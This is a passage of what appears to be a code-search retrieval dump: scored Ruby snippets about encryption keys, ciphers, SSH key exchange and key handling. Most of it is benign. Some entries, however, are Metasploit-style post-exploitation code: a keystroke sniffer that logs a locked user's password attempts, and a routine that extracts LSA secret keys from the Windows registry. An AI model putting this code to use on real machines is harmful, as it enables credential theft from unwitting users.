unexpected_command @last_command\n end", "title": "" }, { "docid": "bd21410c26c35ce84a2ff36a4c9f5c4e", "score": "0.5734521", "text": "def server_encrypt(plain)\n @keyring.encrypt(plain)\n end", "title": "" }, { "docid": "1604da54c4cfcf3f4a536ee92a3e8a01", "score": "0.57311577", "text": "def encrypt(x, key)\n x = x.ord - 65\n a = key[0]\n b = key[1]\n #p ((a*x+b)%26)\n return (((a*x+b)%26)+65).chr\nend", "title": "" }, { "docid": "367ee66a7285fb62ddcab709020ef58f", "score": "0.57282025", "text": "def rekey(k)\n encrypt(k, MAX_NONCE, '', \"\\x00\" * 32)[0...32]\n end", "title": "" }, { "docid": "eb7a97eae30ac978388793f66e1ad9f4", "score": "0.5704335", "text": "def send_keys(keys)\n xse(keys)\n end", "title": "" }, { "docid": "58b9505f2794656bdab2faf0aaff4735", "score": "0.5695483", "text": "def cipher=(p0) end", "title": "" }, { "docid": "6049a99f3b3dc14b38ff03b97e31b499", "score": "0.5684594", "text": "def vigenere_cipher(str, keys)\n new_str = \"\"\n str.each_char do |char|\n new_dec = char.ord + keys[0]\n keys.rotate!\n new_dec = new_dec % 122 + 96 if new_dec > 122\n new_str += new_dec.chr\n end\n new_str\nend", "title": "" }, { "docid": "1edfc7d7c42eb96d14c374bfeec69322", "score": "0.5683422", "text": "def pencryption_key(data)\n\t\tdata == \"NONE\" ? \"off\" : \"On\"\n\tend", "title": "" }, { "docid": "1cd862cf9128f95ea4f03fb6385dc886", "score": "0.5673286", "text": "def priv_key(*) end", "title": "" }, { "docid": "1cd862cf9128f95ea4f03fb6385dc886", "score": "0.5673286", "text": "def priv_key(*) end", "title": "" }, { "docid": "5929efe29da0c3d666e35062b3b4baf8", "score": "0.56632596", "text": "def handshake_keys; end", "title": "" }, { "docid": "9b0fdbdce46b7c5e8362537434867ebc", "score": "0.56602174", "text": "def send_keys(keys)\n key = keys[1..-2]\n if m=/^(Pf|Pa)(\\d+)$/.match(key)\n key = \"#{m[1]}(#{m[2]})\"\n end\n x_send_no_rsp key\n x_send_no_rsp \"wait(output)\"\n end", "title": "" }, { "docid": "28f3283b52a4648dd4d44dea65fa14ee", "score": "0.56378275", "text": "def capture_lsa_key(bootkey)\n vprint_status(\"Getting PolSecretEncryptionKey...\")\n pol = registry_getvaldata(\"HKLM\\\\SECURITY\\\\Policy\\\\PolSecretEncryptionKey\", \"\")\n if pol\n print_status(\"XP or below system\")\n @lsa_vista_style = false\n md5x = Digest::MD5.new()\n md5x << bootkey\n (1..1000).each do\n md5x << pol[60,16]\n end\n\n rc4 = OpenSSL::Cipher.new(\"rc4\")\n rc4.key = md5x.digest\n lsa_key = rc4.update(pol[12,48])\n lsa_key << rc4.final\n lsa_key = lsa_key[0x10..0x1F]\n else\n print_status(\"Vista or above system\")\n @lsa_vista_style = true\n\n vprint_status(\"Trying 'V72' style...\")\n vprint_status(\"Getting PolEKList...\")\n pol = registry_getvaldata(\"HKLM\\\\SECURITY\\\\Policy\\\\PolEKList\", \"\")\n\n # If that didn't work, then we're out of luck\n return nil if pol.nil?\n\n lsa_key = decrypt_lsa_data(pol, bootkey)\n lsa_key = lsa_key[68,32]\n end\n\n vprint_good(lsa_key.unpack(\"H*\")[0])\n return lsa_key\n end", "title": "" }, { "docid": "148cc6420c8e9325dcd612ec2d3a0146", "score": "0.56309074", "text": "def process_key(encrypted_session_key)\n \n end", "title": "" }, { "docid": "4e9a32445ee8dfc0ba65b996990411a2", "score": "0.56143254", "text": "def write_signing_key(prv, pub)\n # Get a password\n if @options[:secure]\n pwd = SecureRandom.base64(9)\n ask(\"Your password: <%=color('#{pwd}', RED+BOLD)%> (Press a key to hide) \") do |q|\n q.echo = false\n q.overwrite = true\n q.character = true\n end\n else\n pwd = ask(\"✏ Please <%= @key %> <%=color('passphrase', BOLD)%>: \") do |q|\n q.echo = false\n q.verify_match = true\n q.gather = { \"choose a good\" => \"\", \"type again the\" => \"\" }\n end\n raise PasswordError, 'The passphrase is too short' if pwd.length < 5\n end\n\n # Hash password with Argon2 (16-bytes salt, 32-bytes output)\n salt = RbNaCl::Random.random_bytes(RbNaCl::PasswordHash::Argon2::SALTBYTES)\n hash = RbNaCl::PasswordHash.argon2(pwd, salt, 5, 7_256_678, 32)\n # Encrypt signing key with hash\n box = RbNaCl::SecretBox.new(hash)\n nonce = RbNaCl::Random.random_bytes(box.nonce_bytes)\n cipherkey = salt + nonce + box.encrypt(nonce, prv) # 16 + 24 + (16 + 32)\n\n # Write encrypted key to file\n data = {\n verifykey: Enc.encode_kkey(pub),\n signingkey: Enc.encode(cipherkey)\n }\n File.open(KEYFILE, 'w') do |f|\n f.chmod(0600)\n f.write(data.to_yaml)\n end\n # Trust store signature\n File.delete(@trust_path + SIGEXT) if File.file?(@trust_path + SIGEXT)\n @warn_trust = false\nend", "title": "" }, { "docid": "b942be72dc3a984ca50d24e7b41b666f", "score": "0.56121063", "text": "def encrypt; end", "title": "" }, { "docid": "cf68239029ef42cfc8b050127cf2950b", "score": "0.561069", "text": "def generate_key\n @fpga_key = Crypto.sk_key\n @puf = @fpga_key[0...-1]\n @syndrome = Crypto.sk_encrypt(@fpga_key, (0..32).to_a.pack('C*'))\n @efuses = Crypto.crypto_hash @syndrome\n end", "title": "" }, { "docid": "1882466f78a80fc6ee70b4c9b842d22c", "score": "0.55890477", "text": "def send_key(key, state)\n # // 0 - Mouse, 1 - Keyboard\n # // 0x0001 - Extended, 0x0002 - KeyUp, 0x0008 - ScanCode, 0x0004 - Unicode\n SNDI.call(1, [0, 0, 2, 0, 0].pack(\"LLLLL\"), 256) #0x0002 # // Still Buggy\n end", "title": "" }, { "docid": "ee8a39cb57282591f308a9a54885c90e", "score": "0.5580266", "text": "def pass_key_release pas, event0\n\t\t@passuser = pas.text\n\tend", "title": "" }, { "docid": "8b89d2484c64184b399b92db3a93097f", "score": "0.5559089", "text": "def rekey!\n @client_packet = @server_packet = nil\n @initialized = false\n send_kexinit\n end", "title": "" }, { "docid": "57a83f27d14b91b8b8911b2f23bd961e", "score": "0.55419904", "text": "def encrypt_key(key)\n \"\"\n end", "title": "" }, { "docid": "b2ff5947726509d436aa838a5e913068", "score": "0.5530225", "text": "def keycap(session, keytime, logfile)\n\t\tbegin\n\t\t\trec = 1\n\t\t\t#Creating DB for captured keystrokes\n\t\t\tprint_status(\"Keystrokes being saved in to #{logfile}\")\n\t\t\t#Inserting keystrokes every number of seconds specified\n\t\t\tprint_status(\"Recording \")\n\t\t\twhile rec == 1\n\t\t\t\t#getting Keystrokes\n\t\t\t\tdata = session.ui.keyscan_dump\n\t\t\t\toutp = \"\"\n\t\t\t\tdata.unpack(\"n*\").each do |inp|\n\t\t\t\t\tfl = (inp & 0xff00) >> 8\n\t\t\t\t\tvk = (inp & 0xff)\n\t\t\t\t\tkc = VirtualKeyCodes[vk]\n\n\t\t\t\t\tf_shift = fl & (1<<1)\n\t\t\t\t\tf_ctrl\t= fl & (1<<2)\n\t\t\t\t\tf_alt\t= fl & (1<<3)\n\n\t\t\t\t\tif(kc)\n\t\t\t\t\t\tname = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])\n\t\t\t\t\t\tcase name\n\t\t\t\t\t\twhen /^.$/\n\t\t\t\t\t\t\toutp << name\n\t\t\t\t\t\twhen /shift|click/i\n\t\t\t\t\t\twhen 'Space'\n\t\t\t\t\t\t\toutp << \" \"\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\toutp << \" <#{name}> \"\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\toutp << \" <0x%.2x> \" % vk\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tsleep(2)\n\t\t\t\tfile_local_write(logfile,\"#{outp}\\n\")\n\t\t\t\tif outp != nil and outp.chomp.lstrip != \"\" then\n\t\t\t\t\tprint_status(\"Password?: #{outp}\")\n\t\t\t\tend\n\t\t\t\tstill_locked = 1\n\t\t\t\t# Check to see if the screen saver is on, then check to see if they have logged back in yet.\n\t\t\t\tscreensaver = client.railgun.user32.SystemParametersInfoA(114,nil,1,nil)['pvParam'].unpack(\"C*\")[0]\n\t\t\t\tif screensaver == 0\n\t\t\t\t\tstill_locked = client.railgun.user32.GetForegroundWindow()['return']\n\t\t\t\tend\n\t\t\t\tif still_locked == 0\n\t\t\t\t\tprint_status(\"They logged back in, the last password was probably right.\")\n\t\t\t\t\traise 'win'\n\t\t\t\tend\n\t\t\t\tcurrentidle = session.ui.idle_time\n\t\t\t\tif screensaver == 0\n\t\t\t\t\tprint_status(\"System has currently been idle for #{currentidle} seconds and the screensaver is OFF\")\n\t\t\t\telse\n\t\t\t\t\tprint_status(\"System has currently been idle for #{currentidle} seconds and the screensaver is ON\")\n\t\t\t\tend\n\t\t\t\tsleep(keytime.to_i)\n\t\t\tend\n\t\trescue::Exception => e\n\t\t\tif e.message != 'win'\n\t\t\t\tprint(\"\\n\")\n\t\t\t\tprint_status(\"#{e.class} #{e}\")\n\t\t\tend\n\t\t\tprint_status(\"Stopping keystroke sniffer...\")\n\t\t\tsession.ui.keyscan_stop\n\t\tend\n\tend", "title": "" }, { "docid": "03b2c9a7893c0910c759b1f792d0d6c9", "score": "0.5519364", "text": "def acknowledge\n secure_compare(recived_security_key, @secret_key)\n end", "title": "" }, { "docid": "459295a409ac1de6c1a38e2d08ddaa49", "score": "0.5514811", "text": "def encrypted; end", "title": "" }, { "docid": "459295a409ac1de6c1a38e2d08ddaa49", "score": "0.5514811", "text": "def encrypted; end", "title": "" }, { "docid": "52224792efc52e4012b878470cbb8af1", "score": "0.55103606", "text": "def encryption_key; end", "title": "" }, { "docid": "7d5506e4e1be831ac2960decfef2095e", "score": "0.5507755", "text": "def exchange_keys\n debug { \"exchanging keys\" }\n\n need_bytes = kex_byte_requirement\n algorithm = Kex::MAP[kex].new(self, session,\n client_version_string: Net::SSH::Transport::ServerVersion::PROTO_VERSION,\n server_version_string: session.server_version.version,\n server_algorithm_packet: @server_packet,\n client_algorithm_packet: @client_packet,\n need_bytes: need_bytes,\n minimum_dh_bits: options[:minimum_dh_bits],\n logger: logger)\n result = algorithm.exchange_keys\n\n secret = result[:shared_secret].to_ssh\n hash = result[:session_id]\n digester = result[:hashing_algorithm]\n\n @session_id ||= hash\n\n key = Proc.new { |salt| digester.digest(secret + hash + salt + @session_id) }\n\n iv_client = key[\"A\"]\n iv_server = key[\"B\"]\n key_client = key[\"C\"]\n key_server = key[\"D\"]\n mac_key_client = key[\"E\"]\n mac_key_server = key[\"F\"]\n\n parameters = { shared: secret, hash: hash, digester: digester }\n\n cipher_client = CipherFactory.get(\n encryption_client,\n parameters.merge(iv: iv_client, key: key_client, encrypt: true)\n )\n cipher_server = CipherFactory.get(\n encryption_server,\n parameters.merge(iv: iv_server, key: key_server, decrypt: true)\n )\n\n mac_client =\n if cipher_client.implicit_mac?\n cipher_client.implicit_mac\n else\n HMAC.get(hmac_client, mac_key_client, parameters)\n end\n mac_server =\n if cipher_server.implicit_mac?\n cipher_server.implicit_mac\n else\n HMAC.get(hmac_server, mac_key_server, parameters)\n end\n\n session.configure_client cipher: cipher_client, hmac: mac_client,\n compression: normalize_compression_name(compression_client),\n compression_level: options[:compression_level],\n rekey_limit: options[:rekey_limit],\n max_packets: options[:rekey_packet_limit],\n max_blocks: options[:rekey_blocks_limit]\n\n session.configure_server cipher: cipher_server, hmac: mac_server,\n compression: normalize_compression_name(compression_server),\n rekey_limit: options[:rekey_limit],\n max_packets: options[:rekey_packet_limit],\n max_blocks: options[:rekey_blocks_limit]\n\n @initialized = true\n end", "title": "" }, { "docid": "035228d629a0b09e21f8b5b1f825c393", "score": "0.5493308", "text": "def prepareKeys()\n\n key = @encrKey\n\n en = MyAES.new(true, key, \"\")\n\n en.finish(key)\n\n key2 = en.flush()\n\n # Skip the nonce and header portions\n key2 = en.strip_encryption_header(key2)\n @encrKey2 = key2\n end", "title": "" }, { "docid": "f154e2106edb3d964cf90df287436cca", "score": "0.54776645", "text": "def encrypt(text); ::Base64.encode64(@keypair.send(\"#{keytype.downcase}_encrypt\", text)); end", "title": "" }, { "docid": "cc5ee231d76e94a493ff6dde554bc46d", "score": "0.54606783", "text": "def _setup(action)\n @cipher ||= OpenSSL::Cipher.new(@options[:cipher])\n # Toggles encryption mode\n @cipher.send(action)\n @cipher.padding = @options[:padding]\n @cipher.key = [@key].pack(\"H*\")\n end", "title": "" }, { "docid": "6bbbbbd24b78aa0572683c655baa73cc", "score": "0.5457976", "text": "def caesar_cipher(string, shift)\n\nend", "title": "" }, { "docid": "6bbbbbd24b78aa0572683c655baa73cc", "score": "0.5457976", "text": "def caesar_cipher(string, shift)\n\nend", "title": "" }, { "docid": "abea4c6d7e75297b26ec5932cc92a98f", "score": "0.54532385", "text": "def store_protect #:nodoc:\n store_protect_common\n end", "title": "" }, { "docid": "f1d8dd20bfc65095a243627e91f7372a", "score": "0.5445934", "text": "def cipher(p0) end", "title": "" }, { "docid": "37268d0b33d1ac6c735a7e93befddac6", "score": "0.5432187", "text": "def key_bindings\n super\n @root.bind('c', proc {@board.cheat}) \n @root.bind('u', proc {@board.rotate_180})\n end", "title": "" }, { "docid": "f342e7fb7bd9d9e86c9a20d3c4513dbd", "score": "0.54281956", "text": "def key= new_key\n @key = new_key\n @cipher.key = key\n end", "title": "" }, { "docid": "3f995fba5ddaf31c3b3664e4046f2b12", "score": "0.5419793", "text": "def applyProtection; end", "title": "" }, { "docid": "4439a3a1701cfffce2e64fcd6143b6a0", "score": "0.5419318", "text": "def crypt_two(key)\n key.upcase.gsub(/[^A-Z]/, '').chars.map { |c| c.ord - BASE }.cycle\n end", "title": "" }, { "docid": "92499e35fbc24f4b55836e03b5528c80", "score": "0.5416669", "text": "def hack(box)\n # For convenience, IV is 1 block and prefix is 2 blocks, so we don't need to realign things\n msg = \"A\" * 32\n hax = \"AAAA;admin=true;\"\n enc = box.encrypt(msg)\n enc[0,48] + enc[48,16].xor(hax).xor(msg[0,16]) + enc[64..-1]\n end", "title": "" }, { "docid": "b8a5f8da2c02c87e80164a433271dfa8", "score": "0.5416591", "text": "def key_bindings \n super\n @root.bind('u' , proc {@board.rotate_around})\n @root.bind('c' , proc {@board.cheat})\n end", "title": "" }, { "docid": "b65a04d436f1421530213b2ca6274582", "score": "0.54157764", "text": "def obtain_key(buf, badchars, state)\n # TODO: only do this if we are currently in a CKPE armor iteration\n if(datastore.has_key?('CKPE_KEY'))\n keyVal = datastore['CKPE_KEY'].hex\n else\n keyVal = super(buf, badchars, state)\n end\n\n @@armor.setKeyVal(keyVal)\n return keyVal\n end", "title": "" }, { "docid": "45ab847f98de7563fac71dff6b5676dd", "score": "0.5405796", "text": "def default key\n#--{{{\n send key\n#--}}}\n end", "title": "" }, { "docid": "3b99f6afbfac6cfa7f3ff5a612d78844", "score": "0.5403462", "text": "def app_key=(data)\n super(encrypt(data))\n end", "title": "" }, { "docid": "22e499f88a45af9ab5ea0c4cbb1c73fa", "score": "0.53947586", "text": "def on_key(key, scancode, action, mods)\n end", "title": "" }, { "docid": "47cec46c641de1d51271803284a863a6", "score": "0.53934026", "text": "def vigenere_cipher(msg, keys)\n alpha = (\"a\"..\"z\").to_a\n new_msg = \"\"\n\n msg.each_char.with_index do |char, i|\n old_idx = alpha.index(char)\n new_idx = (old_idx + keys[i % keys.length]) % 26\n new_msg += alpha[new_idx]\n end\n new_msg\nend", "title": "" }, { "docid": "a3dbdfd03ba88b181938dcd00cc47d38", "score": "0.5392777", "text": "def cipher(*) end", "title": "" }, { "docid": "b7fea519d20bc1412983d3f4b6d5101d", "score": "0.53736997", "text": "def key_press(keys)\n dump_caller_stack\n \n if keys =~ /^Ctrl\\+([A-Z])$/\n filtered_keys = \"^+#{$1}\"\n elsif keys =~ /^Ctrl\\+Shift\\+([A-Z])$/\n filtered_keys = \"^+#{$1.downcase}\"\n elsif keys =~ /^Alt+([A-Z])$/\n filtered_keys = \"!+#{$1}\"\n elsif keys =~ /^Alt\\+Shift\\+([a-z])$/\n filtered_keys = \"!+#{$1.downcase}\"\n else\n filtered_keys = keys\n end\n filtered_keys = keys.gsub(\"Alt+\", \"!+\").gsub(\"Ctrl+\", \"^+\")\n RFormSpec::Keyboard.press(filtered_keys)\n sleep 0.5\n end", "title": "" }, { "docid": "e7ecaf993ef0a156747a94bdbe1c6b34", "score": "0.53647417", "text": "def encryptr(key)\n\t\tif (key.to_s =~ /^-----BEGIN (RSA|DSA) PRIVATE KEY-----$/).nil?\n\t\t\treturn key.public_encrypt(self)\n\t\telse\n\t\t\treturn key.private_encrypt(self)\n\t\tend\n\tend", "title": "" }, { "docid": "0527249bfb54c3bd3e1083e605926a3b", "score": "0.53640985", "text": "def caesar_cipher(str, shift)\n\nend", "title": "" }, { "docid": "0527249bfb54c3bd3e1083e605926a3b", "score": "0.53640985", "text": "def caesar_cipher(str, shift)\n\nend", "title": "" }, { "docid": "758f8d0eb00e221372c8a46a76f4206b", "score": "0.5353377", "text": "def caesar_cipher(text, key)\n\n #ensure sizing is consistent and split text into array\n text_array = text.split(\"\")\n\n encrypted_text = Array.new\n text_array.each do | character |\n\n #set min/max values based on if the character is upper case or not\n if character == character.upcase then\n minValue = 65\n maxValue = 90\n else\n minValue = 97\n maxValue = 122\n end \n\n #handle if the character isn't a letter\n if character.ord < minValue || character.ord > maxValue then\n encrypted_text.push(character)\n next\n end\n\n #get ordinal value of the character\n ord_new = character.ord + key\n\n #handle invalid characters\n if ord_new > maxValue then \n ord_new = (ord_new - maxValue ) + (minValue - 1)\n end \n\n #convert new value back to a string character\n character_new = ord_new.chr\n\n #add new character to our encrypted arry\n encrypted_text.push(character_new)\n end\n\n #return joined encrypted text array\n puts encrypted_text.join \nend", "title": "" }, { "docid": "60b5a0c6e8cdf73b3cce002e6daa6c1d", "score": "0.5347207", "text": "def set_passphrase(passphrase)\n if GPG21\n ensure_gpg_agent\n call_gpp(KEYGRIP_JANE, passphrase)\n call_gpp(KEYGRIP_JOE, passphrase)\n end\nend", "title": "" }, { "docid": "ae521b1f0acaea58f9ede518435f961e", "score": "0.5342966", "text": "def set_key\n @mk = session[:multikey]\n true\n end", "title": "" }, { "docid": "bbe980ba71634bf01ec43ae5cbb1f143", "score": "0.5341391", "text": "def trap_key; end", "title": "" }, { "docid": "bbe980ba71634bf01ec43ae5cbb1f143", "score": "0.5341391", "text": "def trap_key; end", "title": "" }, { "docid": "a39bc1c6d73cfa76a18898c922f4d04a", "score": "0.5334047", "text": "def press(key); end", "title": "" }, { "docid": "5387a7e16df958858cc49ace25294500", "score": "0.53329116", "text": "def vigenere_cipher(message, keys)\n new_str = \"\"\n alpha = [*\"a\"..\"z\"]\n message.each_char do |char|\n keys_idx = new_str.length % keys.length\n old_idx = alpha.index(char)\n new_idx = (old_idx + keys[keys_idx]) % 26\n new_char = alpha[new_idx]\n new_str += new_char\n end\n new_str\nend", "title": "" }, { "docid": "4d09e05a08f2021cd8e9502f5af91de9", "score": "0.53235775", "text": "def key_bindings\n super\n @root.bind('u', proc {@board.rotate_180})\n @root.bind('c', proc {@board.cheat})\n end", "title": "" }, { "docid": "069bc65f05264bf69ab606d1e8e26e3a", "score": "0.5323032", "text": "def key(keygap)\n key = WTS::Keygap.new.merge(raw_key, keygap)\n @log.debug(\"The private key of #{@login} reassembled: #{key.to_s.length} chars\")\n key\n end", "title": "" }, { "docid": "59a1344d3294e68117a7f27518937d63", "score": "0.5318006", "text": "def keycap(session, keytime, logfile)\n\tbegin\n\t\trec = 1\n\t\t#Creating DB for captured keystrokes\n\t\tprint_status(\"Keystrokes being saved in to #{logfile}\")\n\t\t#Inserting keystrokes every number of seconds specified\n\t\tprint_status(\"Recording \")\n\t\twhile rec == 1\n\t\t\t#getting Keystrokes\n\t\t\tdata = session.ui.keyscan_dump\n\t\t\toutp = \"\"\n\t\t\tdata.unpack(\"n*\").each do |inp|\n\t\t\t\tfl = (inp & 0xff00) >> 8\n\t\t\t\tvk = (inp & 0xff)\n\t\t\t\tkc = VirtualKeyCodes[vk]\n\n\t\t\t\tf_shift = fl & (1<<1)\n\t\t\t\tf_ctrl = fl & (1<<2)\n\t\t\t\tf_alt = fl & (1<<3)\n\n\t\t\t\tif(kc)\n\t\t\t\t\tname = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])\n\t\t\t\t\tcase name\n\t\t\t\t\twhen /^.$/\n\t\t\t\t\t\toutp << name\n\t\t\t\t\twhen /shift|click/i\n\t\t\t\t\twhen 'Space'\n\t\t\t\t\t\toutp << \" \"\n\t\t\t\t\telse\n\t\t\t\t\t\toutp << \" <#{name}> \"\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\toutp << \" <0x%.2x> \" % vk\n\t\t\t\tend\n\t\t\tend\n\t\t\tsleep(2)\n\t\t\tfile_local_write(logfile,\"#{outp}\\n\")\n\t\t\tstill_locked = client.railgun.user32.GetForegroundWindow()['return']\n\t\t\tif still_locked == 0\n\t\t\t\tprint_status(\"They logged back in! Money time!\")\n\t\t\t\traise 'win'\n\t\t\tend\n\t\t\tsleep(keytime.to_i)\n\t\tend\n\trescue::Exception => e\n\t\tif e.message != 'win'\n\t\t\tprint(\"\\n\")\n\t\t\tprint_status(\"#{e.class} #{e}\")\n\t\tend\n\t\tprint_status(\"Stopping keystroke sniffer...\")\n\t\tsession.ui.keyscan_stop\n\tend\nend", "title": "" }, { "docid": "a45814de8522e390d883ad72b25b0241", "score": "0.531539", "text": "def vigenere(key, txt)\n shift_array = key.get_shift\n count = 0\n\n txt_array = txt.split('')\n ciph=[]\n\n txt_array.each do |a|\n a = a.ord\n shift = shift_array[count % shift_array.size]\n case a\n when (64..90) \n new_char = ((a - 64 + shift) % 26) + 64 \n count += 1\n when (97..122)\n new_char = ((a- 97 + shift) % 26) + 97\n count += 1\n else \n new_char = a \n end\n ciph.push(new_char.chr)\n end\n\n ciph = ciph.join('')\n puts \"#{ciph}\"\nend", "title": "" }, { "docid": "8537546716a3afb3a993f61aa4e6008a", "score": "0.5313732", "text": "def send_keys(*args, device: T.unsafe(nil)); end", "title": "" }, { "docid": "2ecfec7303870affa116bea2b0a06483", "score": "0.5313493", "text": "def press key\n #$log.debug(\"press Got: #{key}\")\n # for a double key combination such as C-x C-c this has the set of pending keys to check against\n if @pendingkeys != nil\n blk = @pendingkeys[key]\n else\n # this is the regular single key mode\n #blk = @keys[@view.mode][key]\n blk = match(key)\n end\n # this means this key expects more keys to follow such as C-x could\n if blk.is_a? OrderedHash\n @pendingkeys = blk\n @prevkey = key\n return\n end\n if blk.nil? # this should go up XXX\n if !@pendingkeys.nil?\n # this error message to be modified if using numeric keys -- need to convert to char\n view.info(\"%p not valid in %p. Try: #{@pendingkeys.keys.join(', ')}\" % [key, @prevkey]) # XXX\n else\n view.info(\"%p not valid in %p. \" % [key, @view.mode]) \n end\n return\n end\n # call the block or symbol - our user defined key mappings use symbols\n if blk.is_a? Symbol\n @view.send(blk)\n else\n blk.call\n end\n @prevkey = nil\n @pendingkeys = nil\n end", "title": "" }, { "docid": "14235738bf6f6547bc4eb9182e09336e", "score": "0.5311659", "text": "def encrypt_key(a, key)\n b=[]\n (0..(a.length-1)).step(4) do |i|\n b.concat aes_cbc_encrypt_a32(a[i,4], key)\n end\n b\n end", "title": "" }, { "docid": "40e4b03ed7018c6d3ccda3e39b65ab5a", "score": "0.5310892", "text": "def vigenere_cipher(string, key_sequence)\n alphabet = (\"a\"..\"z\").to_a\n #\n # your code goes here\n #\n end", "title": "" }, { "docid": "8257b4f1c1428658167edcdd8916ae0f", "score": "0.53045535", "text": "def caesar_cipher(input, cipher_key=1)\n to_cipher = input.split('')\n to_cipher.each_with_index do |char, index|\n if is_alpha(char)\n if is_lower(char)\n ckey = (char.ord - 'a'.ord + cipher_key) % 26 + 97\n to_cipher[index] = (ckey).chr\n end\n if is_upper(char)\n ckey = (char.ord - 'A'.ord + cipher_key) % 26 + 65\n to_cipher[index] = (ckey).chr\n end\n end\n end\nend", "title": "" }, { "docid": "e89365590b6842c4860cb25e0b76ddda", "score": "0.529937", "text": "def vigenere_cipher(message, keys)\n alpha = (\"a\"..\"z\").to_a\n key_seq = keys.dup\n\n while key_seq.length < message.length\n key_seq += keys\n end\n key_seq = key_seq[0...message.length]\n \n new_message = \"\"\n\n message.each_char.with_index do |char, idx|\n old_idx = alpha.index(char)\n new_idx = (old_idx + key_seq[idx]) % alpha.length\n new_message << alpha[new_idx]\n end\n\n new_message\n\nend", "title": "" }, { "docid": "0a2bb7cb677b11552cee37b95e192d7e", "score": "0.5295128", "text": "def password_key\n prepare_key_pw(password)\n end", "title": "" }, { "docid": "5568bea6df96d14573d8d55869b66a78", "score": "0.5294261", "text": "def cKey\n \"Jv7O3XZpNoJu72Rql7gE1A\"\nend", "title": "" }, { "docid": "a827d0d8e84fc41ca3131051022e9b9e", "score": "0.52863616", "text": "def vigenere_cipher(message, keys)\r\n alphabet = 'abcdefghijklmnopqrstuvwxyz'\r\n message.each_char.with_index do |c, i|\r\n message[i] = alphabet[(alphabet.index(c) + keys[i % keys.length]) % alphabet.length] \r\n end\r\n message\r\nend", "title": "" }, { "docid": "c3acd8be531fc1348f1df9bdc1821170", "score": "0.52852774", "text": "def encrypt\n alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789./'\n salt = \"#{alphabet[rand(64)].chr}#{alphabet[rand(64)].chr}\"\n self.crypt(salt)\n end", "title": "" }, { "docid": "7912d851f43691ea4044aede5230e27d", "score": "0.528009", "text": "def caesars(key)\r\n a_ord = 'A'.ord # 65\r\n key_iterator = key.upcase.chars.map{|c| c.ord - a_ord}.cycle\r\n @ciphertext.upcase.each_char.inject('') do |ciphertext, char|\r\n ciphertext << ((char.ord - a_ord - key_iterator.next) % 26 + a_ord).chr\r\n end\r\n end", "title": "" }, { "docid": "45efb446f6d27d82841fa3369196609d", "score": "0.5279977", "text": "def protect(password, cipher: nil, cipher_mode: nil, s2k_hash: nil,\n s2k_iterations: 0)\n Rnp.call_ffi(:rnp_key_protect, @ptr, password, cipher, cipher_mode,\n s2k_hash, s2k_iterations)\n self\n end", "title": "" }, { "docid": "baeedb43c314e67f9ea86437ccb2f73a", "score": "0.527847", "text": "def caesar_cipher(str, shift)\nend", "title": "" }, { "docid": "baeedb43c314e67f9ea86437ccb2f73a", "score": "0.527847", "text": "def caesar_cipher(str, shift)\nend", "title": "" }, { "docid": "baeedb43c314e67f9ea86437ccb2f73a", "score": "0.527847", "text": "def caesar_cipher(str, shift)\nend", "title": "" }, { "docid": "4a2f2e60f18dfbb307fa77d346950327", "score": "0.52780837", "text": "def ceasar_cipher(input, key)\n enc_s = \"\" # variable to store encrypted string\n\n # for each character in input shift the character\n # with key if it is a alphabet\n input.each_char do |char|\n if ('A'..'Z').include?(char) # Check for upcase\n if (char.ord + key) < 91\n enc_s += (char.ord + key).chr\n else\n enc_s += (65 + (char.ord + key) - 91).chr\n end\n elsif ('a'..'z').include?(char) # Check for downcase\n if (char.ord + key) < 123\n enc_s += (char.ord + key).chr\n else\n enc_s += (97 + (char.ord + key) - 123).chr\n end\n else # numbers and special chars\n enc_s += char\n end\n end\n enc_s\nend", "title": "" }, { "docid": "0eb7b7444066035def20db1daecc39e5", "score": "0.52774113", "text": "def enable\n render and return if request.get?\n\n @failure = 'Please accept the Terms of Service.' and return render unless params[:acceptance]\n key = SecurityKey.find_by_key(params[:key])\n @failure = 'The account is invalid, or has already been activated.' and return render unless key\n account = key.securable\n account.password = params[:password]\n account.save\n account.authenticate(session, cookies)\n key.destroy\n redirect_to '/'\n end", "title": "" }, { "docid": "5b93d90e781e387dfe1a8e7bd6200c80", "score": "0.5275581", "text": "def vigenere_cipher(message, keys)\n alpha = ('a'..'z').to_a\n encryption = ''\n count = 0\n message.each_char do |char|\n encr_index = (keys[count] + alpha.index(char)) % 26\n encryption += alpha[encr_index]\n count = (count + 1) % keys.length\n end\n encryption\n\nend", "title": "" }, { "docid": "70d50b0d661016178c1917333c23754a", "score": "0.52698755", "text": "def affine_cipher(key1, key2, text)\r\n ciphertext = ''\r\n encoded_text = ''\r\n a = translate_key(key1, MY_DICT)\r\n b = translate_key(key2, MY_DICT)\r\n message = clean_text(text, LETTERS)\r\n message.each_char.with_index do |character, index|\r\n encoded_text = MY_DICT[character]\r\n encrypted_text = (encoded_text * a[index % a.length] + b[index % b.length]) % 26\r\n ciphertext += LETTERS[encrypted_text]\r\n end\r\n return ciphertext\r\nend", "title": "" }, { "docid": "984de3c161a9958a1dab825de1224a79", "score": "0.5268784", "text": "def vigenere_cipher(msg,keys)\n\n alpha = (\"a\"..\"z\").to_a\n\n new_msg = \"\"\n\n msg.each_char.with_index do |char, ind|\n\n idx = alpha.index(char)\n\n key_idx = ind % keys.length\n\n key = keys[key_idx]\n\n new_idx = (idx + key)%26\n\n new_msg += alpha[new_idx]\n\n end\n\n new_msg\n\nend", "title": "" }, { "docid": "f72365dc4bce636bc07702c4099f5734", "score": "0.52686137", "text": "def decrypt?;true;end", "title": "" }, { "docid": "bc3620d5b45c19fc8f0a1fb00aa2ad0e", "score": "0.52675325", "text": "def encrypt!(key)\n @secret_keys << key\n nil\n end", "title": "" }, { "docid": "bc3620d5b45c19fc8f0a1fb00aa2ad0e", "score": "0.52675325", "text": "def encrypt!(key)\n @secret_keys << key\n nil\n end", "title": "" }, { "docid": "3ee58be98f0f879d9f176a62f15ef21b", "score": "0.5262436", "text": "def vigenere_cipher(str, keys_arr)\n \n alphabet = \"abcdefghijklmnopqrstuvwxyz\" \n new_str = \"\"\n str.each_char do |char| \n start = alphabet.index(char)\n new_char = start + keys_arr[0]\n new_str += alphabet[new_char%26]\n 